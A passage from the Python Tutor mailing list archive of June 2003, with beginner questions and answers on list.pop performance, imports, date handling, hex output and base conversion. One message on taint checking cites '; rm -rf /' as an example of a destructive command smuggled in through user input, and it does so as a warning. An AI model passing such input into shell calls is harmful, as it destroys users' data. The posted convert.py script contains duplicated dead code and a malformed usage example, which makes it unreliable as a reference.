Thanks a lot in advance!

------=_NextPart_000_001A_01C335B3.7E693CB0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C335B3.7E4C3ED0">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I am new user to python and was trying to compile the =
source
for windows. I would appreciate it if someone could help me with it =
PLEASE as I
get hit with a bunch of errors. I opened up PC/<span =
class=3DSpellE>winmain.c</span>
in VC++ 6.0 and compile. I am using Python 2.2.3 and windows 2000. =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks a lot in advance!<o:p></o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_001A_01C335B3.7E693CB0--


From Janssen@rz.uni-frankfurt.de  Wed Jun 18 18:46:47 2003
From: Janssen@rz.uni-frankfurt.de (Michael Janssen)
Date: Wed Jun 18 17:46:47 2003
Subject: [Tutor] Using time module to count-off seconds
In-Reply-To: <200306182051.27787.tireseas@onetel.com>
Message-ID: <Pine.A41.4.32.0306182231130.30702-100000@faust27-eth.rz.uni-frankfurt.de>

On Wed, 18 Jun 2003, valhalla wrote:

> Hello
> I am wanting to modify a guessing game script I have so that the player is
> given x number of seconds (e.g. 60 seconds) during which to guess the answer
> before time's up and game is over.

time modul hasn't got a function like that. I believe it's unlikly any
modul ever contains one, because it's easily done and things like "print
to stdout" arn't of general value (for example in GUI programming).

A simple function is:

def countdown(amount):
    for n in range(amount, 0, -1):
        print n
        time.sleep(1)


This isn't absolutly accurate, but enough for a 60 sec countdown. The
whole trick is the range function with negative third argument.

You might want to print the countdown on one single line. This can be
done with:
print " %i\033[A" % n

"\033[A" is ANSI for "one line up" (print's newline will then going back
to the line and to its beginning)

Michael




From decibelshelp@charter.net  Wed Jun 18 18:47:05 2003
From: decibelshelp@charter.net (Decibels)
Date: Wed Jun 18 17:47:05 2003
Subject: [Tutor] MySQLdb table is DATE, but SELECT returns with TIMESTAMP.
Message-ID: <200306181644.19470.decibelshelp@charter.net>

Thanks, it was just my lack of understanding.  I do hope that Python 2.3
does separate date and datetime classes. Though it isn't that big a deal
now that I see what it going on.

>Sure, in the database end of the connection, this is how it works.
>I the Python end, the mx.DateTime type called DateTime is used, and
>its just one type. Dates are simply DateTimes where the time-part
>is 00:00:00.0 in mx.DateTime.

>When Python 2.3 is established, I guess that many database drivers
>will support the new standard datetime module in Python, and then we
>will have separate date and datetime classes.

I was trying to refer to the mx.DateTime doing what it does, even
though I didn't store the time-part in the database. I guess I failed, but
understand it now.

>>   Even if it isn't behaving in a
>>manner that seems inconsistent with MySQL itself and just 'TAGGING'
>>a default timestamp when it retrieves the date. Even though it wasn't
>>stored that way. I still probably need to learn to use the mx.DateTime
>>module.

>Now I lost you...

Yes, I had some test statements in there to see what was going on and
it got screwed it up a little. I did delete the row I wanted, based on matching
symbol, name, date.  Messed up one of my conditionals while testing and
it was just saying it didn't find a match. Ooops.

>>I am still playing with it. Seems that what I did earlier sort of worked, or
>>I borked the code a little later. But when I was testing, I just had one row
>>now I have two and it says no matches, so won't delete.  So have to
>>see why it isn't matching, probably typo. But would have been less
>>troublesome to start with if it retreived the date like I stored it.

>I guess you did something wrong. If two rows match the WHERE clause
>of a DELETE statement, both rows should be deleted.

Dave



From loizie@hotmail.com  Wed Jun 18 19:03:02 2003
From: loizie@hotmail.com (Evripides Loizides)
Date: Wed Jun 18 18:03:02 2003
Subject: [Tutor] Convert a string in infix notation to one in postfix
Message-ID: <BAY7-F114EI0Z2Ex93K00005024@hotmail.com>

<html><div style='background-color:'><DIV>
<P><BR>There is any algorithm in pyhton to convert a string in infix notation to one in postfix</P>
<P>if there is how can i find it?</P>
<P><BR>&nbsp;</P></DIV></div><br clear=all><hr>Add photos to your messages with  <a href="http://g.msn.com/8HMRENUS/2749??PS=">MSN 8. </a> Get 2 months FREE*.</html>


From bgailer@alum.rpi.edu  Wed Jun 18 19:08:14 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Wed Jun 18 18:08:14 2003
Subject: [Tutor] why is list.pop(0) slow?
In-Reply-To: <3EF09433.6010209@home.wari.org>
Message-ID: <5.2.1.1.0.20030618160312.0275d008@66.28.54.253>

--=======2D336D59=======
Content-Type: text/plain; x-avg-checked=avg-ok-1B122C2E; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 12:32 AM 6/19/2003 +0800, Wari Wahab wrote:

>I've been playing around with very large lists and found out by chance 
>that pop(0) is 8 times slower than pop(). Is it really that bad? 
>Performance improved when the list i have is reversed and used pop().

Here's my guess:
pop() removes rightmost list element by shortening the length of the list by 1.
pop(0) removes leftmost element by shifting the rest of the elements one 
place left and then shortening the length of the list by 1.
It is the shifting that is taking a lot of time.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======2D336D59=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-1B122C2E
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======2D336D59=======--



From dyoo@hkn.eecs.berkeley.edu  Wed Jun 18 19:20:03 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed Jun 18 18:20:03 2003
Subject: [Tutor] why is list.pop(0) slow?
In-Reply-To: <3EF09433.6010209@home.wari.org>
Message-ID: <Pine.LNX.4.44.0306181456430.23796-100000@hkn.eecs.berkeley.edu>


On Thu, 19 Jun 2003, Wari Wahab wrote:

> I've been playing around with very large lists and found out by chance
> that pop(0) is 8 times slower than pop(). Is it really that bad?


Hi Wari,


Yes: the reason is because pop(0) involves shifting all of the remaining
elements in our list.

When a list is small, it's not a big deal.  But when a list is large,
doing a pop() at the front of a list can be expensive.  It's not
necessarily eight times slower: in fact, the cost scales linearly with the
size of the list.

By the way, insert()ing into the front of a list can be expensive for the
same reason:  it ends up doing a lot of data movement as the elements are
shoved off to the side to make room.


When we end up doing a lot of insertions at the front as well as the back
of our containers, and when we need to do it efficiently, we really do
need to be aware of how array-like lists behave.  We may even need to
think about data structures that will help us do what we want.


Chapter 19 of "How To Think Like a Computer Scientist":

    http://www.ibiblio.org/obp/thinkCSpy/chap19.htm

is highly recommended reading; it talks about these issues.



Good luck to you!



From abli@freemail.hu  Wed Jun 18 19:21:03 2003
From: abli@freemail.hu (Abel Daniel)
Date: Wed Jun 18 18:21:03 2003
Subject: [tutor] TEXT CTRL
In-Reply-To: <001801c334c4$6ebb9f50$6801a8c0@superyethzer>
References: <001801c334c4$6ebb9f50$6801a8c0@superyethzer>
Message-ID: <20030618222048.GA2383@hooloovoo>

Stephan Huijgen wrote:
> I have a problem with the text control in python. I want to write a string
> from a textbox to a file, but when i type for example 124 in the textbox i
> get in the file:
> 1
> 12
> 124
> in 3 lines..instead of 124 in one line...how does this work properly?

Which Gui toolkit do you use? Python has several. (Tkinter, pygtk, pyqt,
wxwindows, etc.)

Also, post a trimmed-down code example which shows the problem.
Diagnosing problems is much easier (and often only possible) I we see
exactly the same code you are having problems with.

Judging from the few info you gave, I guess the problem is that you save
the contents of the textbox after every keypress. Obviously you only
have to save when the user is finished, and clicked on a button or
pressed enter.

Abel Daniel


From dyoo@hkn.eecs.berkeley.edu  Wed Jun 18 19:37:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed Jun 18 18:37:02 2003
Subject: [Tutor] why is list.pop(0) slow?  [swap-with-last-element trick]
In-Reply-To: <Pine.LNX.4.44.0306181456430.23796-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.44.0306181524030.23796-100000@hkn.eecs.berkeley.edu>


> On Thu, 19 Jun 2003, Wari Wahab wrote:
>
> > I've been playing around with very large lists and found out by chance
> > that pop(0) is 8 times slower than pop(). Is it really that bad?

Hi Wari,


By the way, if the order of your elements is not important, then there's a
cute trick we can employ to remove elements from the front of a list: we
can swap the first and last elements, and then do a pop() off then end of
our list, because popping at the end is quite efficient.


###
>>> def removeFront(L):
...     L[-1], L[0] = L[0], L[-1]
...     return L.pop()
...
>>> mylist = range(10)
>>> mylist
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> removeFront(mylist)
0
>>> mylist
[9, 1, 2, 3, 4, 5, 6, 7, 8]
>>> removeFront(mylist)
9
>>> mylist
[8, 1, 2, 3, 4, 5, 6, 7]
###

We can generalize this swap-with-last-element trick to do "deletes"
anywhere in our list.  Notice, though, that the list will inevitably get
out of order when we do the swap-with-last-element trick: the
applicability of this technique really depends on the program we're
writing.  It might not be the right thing to do if we want to maintain the
relative order of things in our list.


If you can tell us more details about what you're expecting to do with
your lists (lots of deletes, lots of inserts, etc.), we can probably chat
about efficiency issues on Python-Tutor.



From alan.gauld@blueyonder.co.uk  Wed Jun 18 19:38:04 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 18 18:38:04 2003
Subject: [Tutor] Beginning Programming
References: <200306182005.58261.klatu@clara.co.uk>
Message-ID: <005a01c335e9$f01efa80$6401a8c0@xp>

> Could someone recommend a book that teachs programming 
> from first principles using Python. NOT, how to program 
> in python !!.

That is precisely what my book "Learn to Program Using Python" 
is about. It is based on the web tutor (as in my sig) but somewhat 
enhanced(more footnotes andsidebars, plus some extra material). 
Plus I dropped the BASIC and Tcl stuff, its pure Python.

Check out the web page, if the general style feels OK, try the 
book! And of course if you don't understand anything in either 
the book or tutor you can always email me via the list here or 
from the web site which has mailto links on every page

Alan G.



From alan.gauld@blueyonder.co.uk  Wed Jun 18 19:40:05 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 18 18:40:05 2003
Subject: [Tutor] Help
References: <000201c335df$2c757460$6b01a8c0@zeratec>
Message-ID: <006201c335ea$5297b800$6401a8c0@xp>

> I am new user to python and was trying to compile the source for
> windows. 

Is there any reason you feel this is useful? Most Windows users 
find the precompiled version works just fine. The Activestate 
download has a few extra Windows features but they are all 
available for the Python.org version as extras too.

I can't think of a good reason to build your own Python 
executables unless you want to add some custom features, 
but as a newcomer thats unlikely!

Alan g.


From R. Alan Monroe" <amonroe@columbus.rr.com  Wed Jun 18 20:01:01 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Wed Jun 18 19:01:01 2003
Subject: [Tutor] crash when importing random or sys module, in my embedded python
In-Reply-To: <006201c335ea$5297b800$6401a8c0@xp>
References: <000201c335df$2c757460$6b01a8c0@zeratec>
 <006201c335ea$5297b800$6401a8c0@xp>
Message-ID: <29383794056.20030618190705@columbus.rr.com>

What kinds of things can go wrong during an import statement OTHER
THAN an ImportError?

When I run this in my embedded python program, it takes the second
option and writes "who knows" to the log. Sadly import sys crashes
too, so I can't use sys.exc_info(). The weird thing is, import struct
works like a champ?




import struct

try:
    import random
except ImportError, e:
    log = open('/badnews.txt', 'w')
    log.write(e.args)
    log.close()
except:
    log = open('/badnews.txt', 'w')
    log.write("who knows\n")
    log.close()



From pythontutor@venix.com  Wed Jun 18 20:25:04 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed Jun 18 19:25:04 2003
Subject: [Tutor] crash when importing random or sys module, in my embedded
 python
References: <000201c335df$2c757460$6b01a8c0@zeratec> <006201c335ea$5297b800$6401a8c0@xp> <29383794056.20030618190705@columbus.rr.com>
Message-ID: <3EF0F461.6040209@venix.com>

Are you importing a random.py in your current directory?

import actually executes the lines that start at the left margin.  These are
typically def, class, and import statements.  Some assignment statements are
also common.  Normally these simply create the classes and function definitions
that your program will be using.

If you import a script that simply starts doing things, opening files, reading,
writing, etc.  That will happen on the import.  import is only loosely analagous
to a C include or Cobol copy.

This is why a script that can be both imported or run usually is organized
with a "master" function and ends with something along the lines of:
if __name__ == '__main__':
	master()
When the script is being imported the __name__ is the name of module.  WHen it is
being run directly, __name__ is '__main__'.


R. Alan Monroe wrote:
> What kinds of things can go wrong during an import statement OTHER
> THAN an ImportError?
> 
> When I run this in my embedded python program, it takes the second
> option and writes "who knows" to the log. Sadly import sys crashes
> too, so I can't use sys.exc_info(). The weird thing is, import struct
> works like a champ?
> 
> 
> 
> 
> import struct
> 
> try:
>     import random
> except ImportError, e:
>     log = open('/badnews.txt', 'w')
>     log.write(e.args)
>     log.close()
> except:
>     log = open('/badnews.txt', 'w')
>     log.write("who knows\n")
>     log.close()
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From R. Alan Monroe" <amonroe@columbus.rr.com  Wed Jun 18 20:41:01 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Wed Jun 18 19:41:01 2003
Subject: [Tutor] crash when importing random or sys module, in my embedded python
In-Reply-To: <3EF0F461.6040209@venix.com>
References: <000201c335df$2c757460$6b01a8c0@zeratec>
 <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com> <3EF0F461.6040209@venix.com>
Message-ID: <93386198524.20030618194709@columbus.rr.com>

> Are you importing a random.py in your current directory?
Nope, the normal one from the standard library. Just like struct.

> import actually executes the lines that start at the left margin.  These are
> typically def, class, and import statements.  Some assignment statements are
> also common.  Normally these simply create the classes and function definitions
> that your program will be using.
That's all I'm doing, trying to set up a list of random integers that
will be used as global variable, nothing more. The only reason I
bothered wrapping the "import random" in a try block was because the
host app in which I was embedding, starting segfaulting, after I added
the "import random" statement.

Alan



From hillcino368@hotmail.com  Wed Jun 18 20:43:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Wed Jun 18 19:43:01 2003
Subject: [Tutor] built in functions int(),long()
Message-ID: <Law15-F23b8quUyNuDj0001cf82@hotmail.com>

Hi Greg et al,
Thanks to all for your replies.

Greg,
Yes your analysis  it makes sense but not according to the definitions at 
least as I understand them.

atoi( s[, base]) is not clear and threw me off. Also The radix parameter 
gives the base for the conversion and may be any integer in the range [2, 
36]
should read The radix parameter gives the base for the string you want to 
convert to python integer. The Radix  may be any integer  2 to 36. An 
example would have clarified it.

"Convert string s to an integer in the given base." I interpreted as convert 
("123",2) to 111011 base 2. What it really means is convert the string base 
2 to decimal. In other words, you can only go from base 2 to 36 to decimal 
base 10 only. Looking through rose colored glasses I thought I had found an 
arbitrary precision base to base converter as I had built in Basic but only 
good to double precision or 52 place
precision in zbasic. I have converted this routine in python to take 
advantage of the arbitrary integer
precision.

Copy, paste, import and try the example in the comments. Maybe the script 
should be symplified more
to python syntax and be included in python release xxx. The long(a,radix) 
int(a,radix) only converts a
string from a base 2 to 36 to base 10. The module below overcomes this 
limitation and then some.

Question. How can I get convert.base(r1,r2,str) without having to type the 
quotes for the string?
Eg., convert(16,10,FFFF) instead of convert(16,10,"FFFF") = 65535 ?

#Module convert.py      def base()    convert bases  from 2 to 62 char 0-9, 
A-Z,a-z  format
#                                        By Cino Hilliard
# usage: >>> import convert
#           >>> convert.base(base from,base to,'value string')
# convert.base(10,62,"1956790901451511461242225989521377674044432983494703")

def base(r1,r2,num):              #convert the string in base r1 to a string 
in base r2
    import math                     #we need this to get the power of
    num = str(num)
    dec = 0                       #Clear to allow loop input per base
    ln  = len(num)                #save length of string to convert for 
later parsing
    j=0
    while j < ln:                 #parse the input string
        asci = ord(num[j])        #Get the ascii code of the char in string 
to convert
        temp   = r1**(ln-j-1)     #Compute the powers of the radix to 
convert from
        ascii2 = decimal(asci)    #Get the decimal value of the ascii code
        dec += ascii2*temp        #Multiply by decimal value and power of 
radix
        j+=1
    RDX = ""
    PWR = math.log(dec)/math.log(r2)     #Get max power of r2 the radix to 
convert to
    j = int(PWR)
    while j >= 0:                        #Divide by descending powers of the 
radix to
        Q   = dec/(r2**j)                #get the ascii values
        dec = dec%(r2**j)                #get the remainder of divison for 
next division
        tmp = chr(ascii(Q))
        RDX = RDX + tmp                  #Concatenate the output string
        j-=1
    print RDX                            #Return the converted r1 to r2 
radix string
def ascii(Q1):
    if   Q1 < 10:                        # 0-9 = ascii 48 - 57
         Q1+= 48
    else:
         if Q1 > 9 and Q1 < 36:          # A-Z = ascii 65 - 90
              Q1+= 55
         else:
              Q1+= 61                    # a-z = ascii 97 - 122
    return Q1
def decimal(Q1):                         # 0 - 9 < ascii 58
    if   Q1 < 58:
         Q1-= 48
    else:
         if Q1 > 57 and Q1 < 97:         # A - Z < ascii 97
              Q1-= 55
         else:
              Q1-= 61                    # a - z = ascii 97 - 122
    return Q1
    import math
    num = str(num)
    dec = 0                       #Clear to allow loop input per base
    ln  = len(num)                #save length of string to convert for 
later parsing
    j=0
    while j < ln:                 #parse the input string
        asci = ord(num[j])        #Get the ascii code of the char in string 
to convert
        temp   = r1**(ln-j-1)     #Compute the powers of the radix to 
convert
        ascii2 = decimal(asci)    #Get the decimal value of the ascii code
        dec += ascii2*temp        #Multiply by decimal value and power of 
radix
        j+=1
    RDX = ""
    PWR = math.log(dec)/math.log(r2)     #Get max power of r2 the radix to 
convert to
    j = int(PWR)
    while j >= 0:                        #Divide by descending powers of the 
radix to
        Q   = dec/(r2**j)                #get the ascii values
        dec = dec%(r2**j)                #get the remainder of divison for 
next division
        tmp = chr(ascii(Q))
        RDX = RDX + tmp                  #Concatenate the output string
        j-=1
    print RDX                            #Return the converted r1 to r2 
radix string
def ascii(Q1):
    if   Q1 < 10:                        # 0-9 = ascii 48 - 57
         Q1+= 48
    else:
         if Q1 > 9 and Q1 < 36:          # A-Z = ascii 65 - 90
              Q1+= 55
         else:
              Q1+= 61                    # a-z = ascii 97 - 122
    return Q1
def decimal(Q1):                         # 0 - 9 < ascii 58
    if   Q1 < 58:
         Q1-= 48
    else:
         if Q1 > 57 and Q1 < 97:         # A - Z < ascii 97
              Q1-= 55
         else:
              Q1-= 61                    # a - z = ascii 97 - 122
    return Q1

>>>convert.base(10,62,"3996168503701201585343125040165201358016538092484388"
PythonIsAVeryPowerfulLanguage

>>>convert.base(62,10,"11JJEO8uplRL22r3MHTOCMqG6JAoq13eZ63xNsSGcA")

Have fun in the facinating world of numbers.

662042196960720285629 base 62

_________________________________________________________________
Tired of spam? Get advanced junk mail protection with MSN 8. 
http://join.msn.com/?page=features/junkmail



From gus.tabares@verizon.net  Wed Jun 18 21:24:01 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Wed Jun 18 20:24:01 2003
Subject: [Tutor] why is list.pop(0) slow?  [swap-with-last-element trick]
In-Reply-To: <Pine.LNX.4.44.0306181524030.23796-100000@hkn.eecs.berkeley.edu>
Message-ID: <LFEJJJNJEBIGPEPEPLIPEEMPCAAA.gus.tabares@verizon.net>

I know I missed Wari's original e-mail to the list, but what about this:

>>> def removeFront(list):
	item = list[0]
	del list[0]
	return item

>>> list = [4, 5, 6, 7, 8]
>>> removeFront(list)
4
>>> list
[5, 6, 7, 8]

Is this considered 'bad' coding? I'd just thought I'd throw this out there,
see what the thoughts are.


/Gus



-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
Danny Yoo
Sent: Wednesday, June 18, 2003 6:36 PM
To: Wari Wahab
Cc: tutor@python.org
Subject: Re: [Tutor] why is list.pop(0) slow? [swap-with-last-element
trick]




> On Thu, 19 Jun 2003, Wari Wahab wrote:
>
> > I've been playing around with very large lists and found out by chance
> > that pop(0) is 8 times slower than pop(). Is it really that bad?

Hi Wari,


By the way, if the order of your elements is not important, then there's a
cute trick we can employ to remove elements from the front of a list: we
can swap the first and last elements, and then do a pop() off then end of
our list, because popping at the end is quite efficient.


###
>>> def removeFront(L):
...     L[-1], L[0] = L[0], L[-1]
...     return L.pop()
...
>>> mylist = range(10)
>>> mylist
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> removeFront(mylist)
0
>>> mylist
[9, 1, 2, 3, 4, 5, 6, 7, 8]
>>> removeFront(mylist)
9
>>> mylist
[8, 1, 2, 3, 4, 5, 6, 7]
###

We can generalize this swap-with-last-element trick to do "deletes"
anywhere in our list.  Notice, though, that the list will inevitably get
out of order when we do the swap-with-last-element trick: the
applicability of this technique really depends on the program we're
writing.  It might not be the right thing to do if we want to maintain the
relative order of things in our list.


If you can tell us more details about what you're expecting to do with
your lists (lots of deletes, lots of inserts, etc.), we can probably chat
about efficiency issues on Python-Tutor.


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From neal@bcn.boulder.co.us  Wed Jun 18 21:47:01 2003
From: neal@bcn.boulder.co.us (Neal McBurnett)
Date: Wed Jun 18 20:47:01 2003
Subject: [Tutor] trusted?
In-Reply-To: <20030618194904.GC15263@glacier.arctrix.com>; from nas-pytut@python.ca on Wed, Jun 18, 2003 at 12:49:04PM -0700
References: <20030618184714.GA15120@glacier.arctrix.com> <20030618191447.60880.qmail@web20204.mail.yahoo.com> <20030618194904.GC15263@glacier.arctrix.com>
Message-ID: <20030618184641.J9229@feynman>

One of the strengths of Python (and other modern languages) is that it
protects users from themselves.  E.g. automated storage management and
garbage collection prevents programs from stomping on themselves via
untyped pointers.

Similarly with operating systems, they (sometimes) protect the
hardware layer and kernel structures from flawed or evil unprivileged
programs at the application layer, and protect one program or user
from another.

The concepts of "tainted" input information (perl) or untrusted
applets (Java) or active content (safe-tcl) are a further extension of
these principles, and the pointers at

  http://cap-lore.com/Dual.html

provide more info on each of those.

At one level this can be described as a "coding problem".  But the way
I view it, languages and libraries and systems can make safe
development easier or make "firewalls" (in a generic sense) more
effective.  I'm all for it, whether it is saving me from my own
mistakes, or mistakes of the folks that write software I use by
choice, or from malicious intents of nasty people out there.

The restricted execution problem is pretty hard, and is relatively
"all or nothing" since it is often designed to protect systems from
general-purpose deliberate attack by untrusted agents.  So I
understand people being leery of working on it without enough buyin to
do it right.

But the "taint" problem seems more approachable, since the threat is
more constrained and partial solutions can help.  The programmer is
taking strings from web forms, environment variables, and other
"untrusted sources" and using them to design queries for databases, or
to put together a string for os.system().  If a user the Internet puts
something like "; rm -rf /" in a string, and you embed that string in
a system call, the semicolon can cause the shell to run the "rm"
command and do damage.

A facility like "taint" can help a programmer avoid this sort of
problem, and it seems like handling the most common cases wouldn't be
all that hard, even if less frequent cases were still not taken care
of.

I know I didn't make that very clear, so again, see
 http://sourceforge.net/tracker/index.php?func=detail&aid=500698&group_id=5470&atid=355470
for the details.

Neal McBurnett                 http://bcn.boulder.co.us/~neal/
Signed and/or sealed mail encouraged.  GPG/PGP Keyid: 2C9EBA60


On Wed, Jun 18, 2003 at 12:49:04PM -0700, Neil Schemenauer wrote:
> Gerardo Arnaez wrote:
> > --- Neil Schemenauer <nas-pytut@python.ca> wrote:
> > > Python will indeed no longer pretend to support
> > > restricted execution.
> > 
> > Is this really a problem with the language 
> > isnt this more of a coding problem? ie code to make it
> > secure?
> 
> Many problems could be called a coding problem. :-)
> 
> Seriously, it is both a lanuage and a coding problem.  The specification
> of what restricted execution means is not clear.  The implemention of
> restricted execution was also not correct.  As I said in my last email,
> the Python developers don't have the resource to fix these problems.


From magnus@thinkware.se  Wed Jun 18 21:59:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 20:59:01 2003
Subject: [Tutor] sending hex data on port
In-Reply-To: <20030618112647.1401.h011.c000.wm@mail.stanfield.net.critic
 alpath.net>
Message-ID: <5.2.1.1.0.20030619024538.03100c70@www.thinkware.se>

At 13:26 2003-06-18 -0500, vicki@stanfield.net wrote:
>I am working on a project which requires that I read
>data in from a file and send the hex equivalent out on
>the serial port. I have everything except how to send
>the data in hex format.

Exactly what is is you want to send?

An ASCII code representation of your numerical values
in hexadecimal representation, or actual numeric values?

If you want to send numeric values, it's pointless to
talk about them as hexadecimal. Below this paragraph there
are 18 asterisks if you count in hexadecimal, or 24 if you
count in decimal, but that is still the same amount.

* * * * * * * * * * * * * * * * * * * * * * * *

You can't have such a thing as a hexadecimal amount of
asterisks (or apples or pears for that matter). An amount
is an amount. It's only a symbolic representation that can
be hexadecimal. So, talking about hexadecimal or decimal
numbers only makes sense if you talk about a textual
representation of the numeric value. The numeric value knows
no representation of itself, any more than a colour knows the
words in different languages that are used to describe it.

>I have looked through a lot of
>apps but most are really more complicated than I am
>ready for. If I simply try to do this:
>
>port.write(hex(18))
>
>It translates the 1 to hex and then the 8 to hex.

Really? Not for me.

 >>> hex(18)
'0x12'

Note the '0x' prefix though. Maybe you want

 >>> hex(18)[2:]
'12'

But these are the hexadecimal representations of the

Or do you simply want to send port.write(0x18) i.e.
port.write(24) ?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun 18 22:23:03 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 21:23:03 2003
Subject: [Tutor] why is list.pop(0) slow?  [swap-with-last-element
 trick]
In-Reply-To: <LFEJJJNJEBIGPEPEPLIPEEMPCAAA.gus.tabares@verizon.net>
References: <Pine.LNX.4.44.0306181524030.23796-100000@hkn.eecs.berkeley.edu>
Message-ID: <5.2.1.1.0.20030619031308.01f6b740@www.thinkware.se>

At 20:22 2003-06-18 -0400, Gus Tabares wrote:
>I know I missed Wari's original e-mail to the list, but what about this:
>
> >>> def removeFront(list):
>         item = list[0]
>         del list[0]
>         return item

It's just as slow as l.pop(0), and for the same reason. When
you do "del list[0]" you reshuffle the entire list.

Wari says "8 times slower", but that depends on the size of
the list, the bigger the list, the bigger the time diff.

If this is a problem, you might want to use another structure
than a list. We can't really saw what without seeing what you
are trying to do...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun 18 22:31:38 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 21:31:38 2003
Subject: [Tutor] why is list.pop(0) slow?
In-Reply-To: <3EF09433.6010209@home.wari.org>
Message-ID: <5.2.1.1.0.20030619032859.01f86140@www.thinkware.se>

At 00:32 2003-06-19 +0800, Wari Wahab wrote:
>Is it really that bad?

Worse if you increase the size of the list... But isn't
is still fairly fast?

>Performance improved when the list i have is reversed and used pop().

Yes, then you just need to restructure the list once.

A Python list is not a linked list, it's much more like a
vector or array in other languages. (In C++ STL, I think
the closest fit is a vector.)

If you have an application where this matters you might want
to consider other implementations. Obviously, the .reverse()
strategy won't be of any help if you alternate between pushing
